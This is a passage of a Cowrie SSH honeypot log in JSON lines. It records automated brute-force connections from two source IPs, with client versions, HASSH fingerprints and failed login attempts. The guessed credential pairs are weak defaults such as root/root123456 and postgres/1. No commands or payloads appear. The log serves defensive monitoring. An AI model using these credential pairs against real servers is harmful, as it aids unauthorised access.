a2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:14.427019Z","src_ip":"159.203.92.129","session":"9acd50d7b260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qazxsw2","message":"login attempt [ansible/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:14.440541Z","src_ip":"159.203.92.129","session":"9acd50d7b260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:14.500469Z","src_ip":"176.65.139.103","session":"d4ca086b28e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:15.446326Z","src_ip":"159.203.92.129","session":"9acd50d7b260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43880,"dst_ip":"10.17.0.5","dst_port":22,"session":"914cb6eb1cac","protocol":"ssh","message":"New connection: 176.65.139.103:43880 (10.17.0.5:22) [session: 914cb6eb1cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:19.133250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:19.141100Z","src_ip":"176.65.139.103","session":"914cb6eb1cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:19.223684Z","src_ip":"176.65.139.103","session":"914cb6eb1cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:19.563242Z","src_ip":"176.65.139.103","session":"914cb6eb1cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:20.956482Z","src_ip":"176.65.139.103","session":"914cb6eb1cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45946,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e2b311495da","protocol":"ssh","message":"New connection: 176.65.139.103:45946 (10.17.0.5:22) [session: 6e2b311495da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:25.377600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:25.382039Z","src_ip":"176.65.139.103","session":"6e2b311495da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:25.466221Z","src_ip":"176.65.139.103","session":"6e2b311495da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:25.870117Z","src_ip":"176.65.139.103","session":"6e2b311495da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:26.954826Z","src_ip":"176.65.139.103","session":"6e2b311495da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45954,"dst_ip":"10.17.0.5","dst_port":22,"session":"af27a45cea8d","protocol":"ssh","message":"New connection: 176.65.139.103:45954 (10.17.0.5:22) [session: af27a45cea8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:31.781381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:31.836242Z","src_ip":"176.65.139.103","session":"af27a45cea8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:31.908864Z","src_ip":"176.65.139.103","session":"af27a45cea8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:32.241328Z","src_ip":"176.65.139.103","session":"af27a45cea8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:33.356929Z","src_ip":"176.65.139.103","session":"af27a45cea8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50742,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fbbe5a950b3","protocol":"ssh","message":"New connection: 176.65.139.103:50742 (10.17.0.5:22) [session: 6fbbe5a950b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:38.047851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:38.052503Z","src_ip":"176.65.139.103","session":"6fbbe5a950b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:38.134143Z","src_ip":"176.65.139.103","session":"6fbbe5a950b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:38.381827Z","src_ip":"176.65.139.103","session":"6fbbe5a950b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:39.486173Z","src_ip":"176.65.139.103","session":"6fbbe5a950b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49946,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbccd8ee0ff","protocol":"ssh","message":"New connection: 176.65.139.103:49946 (10.17.0.5:22) [session: 6dbccd8ee0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:44.435004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:44.439704Z","src_ip":"176.65.139.103","session":"6dbccd8ee0ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:44.523715Z","src_ip":"176.65.139.103","session":"6dbccd8ee0ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:44.771332Z","src_ip":"176.65.139.103","session":"6dbccd8ee0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:45.905605Z","src_ip":"176.65.139.103","session":"6dbccd8ee0ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49968,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa3fa9a27e84","protocol":"ssh","message":"New connection: 176.65.139.103:49968 (10.17.0.5:22) [session: fa3fa9a27e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:50.504756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:50.597120Z","src_ip":"176.65.139.103","session":"fa3fa9a27e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:50.600994Z","src_ip":"176.65.139.103","session":"fa3fa9a27e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:51.335254Z","src_ip":"176.65.139.103","session":"fa3fa9a27e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:52.432551Z","src_ip":"176.65.139.103","session":"fa3fa9a27e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43904,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4cff0cd9ae2","protocol":"ssh","message":"New connection: 176.65.139.103:43904 (10.17.0.5:22) [session: a4cff0cd9ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:56.940038Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32858,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c414c820ae1","protocol":"ssh","message":"New connection: 159.203.92.129:32858 (159.203.135.109:22) [session: 7c414c820ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:56.977078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:56.981076Z","src_ip":"159.203.92.129","session":"7c414c820ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:56.985895Z","src_ip":"159.203.92.129","session":"7c414c820ae1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:57.007337Z","src_ip":"176.65.139.103","session":"a4cff0cd9ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"3edc#EDC","message":"login attempt [ansible/3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:57.040596Z","src_ip":"159.203.92.129","session":"7c414c820ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:57.057867Z","src_ip":"176.65.139.103","session":"a4cff0cd9ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:57.525347Z","src_ip":"176.65.139.103","session":"a4cff0cd9ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:33:58.046171Z","src_ip":"159.203.92.129","session":"7c414c820ae1","protocol":"ssh"}
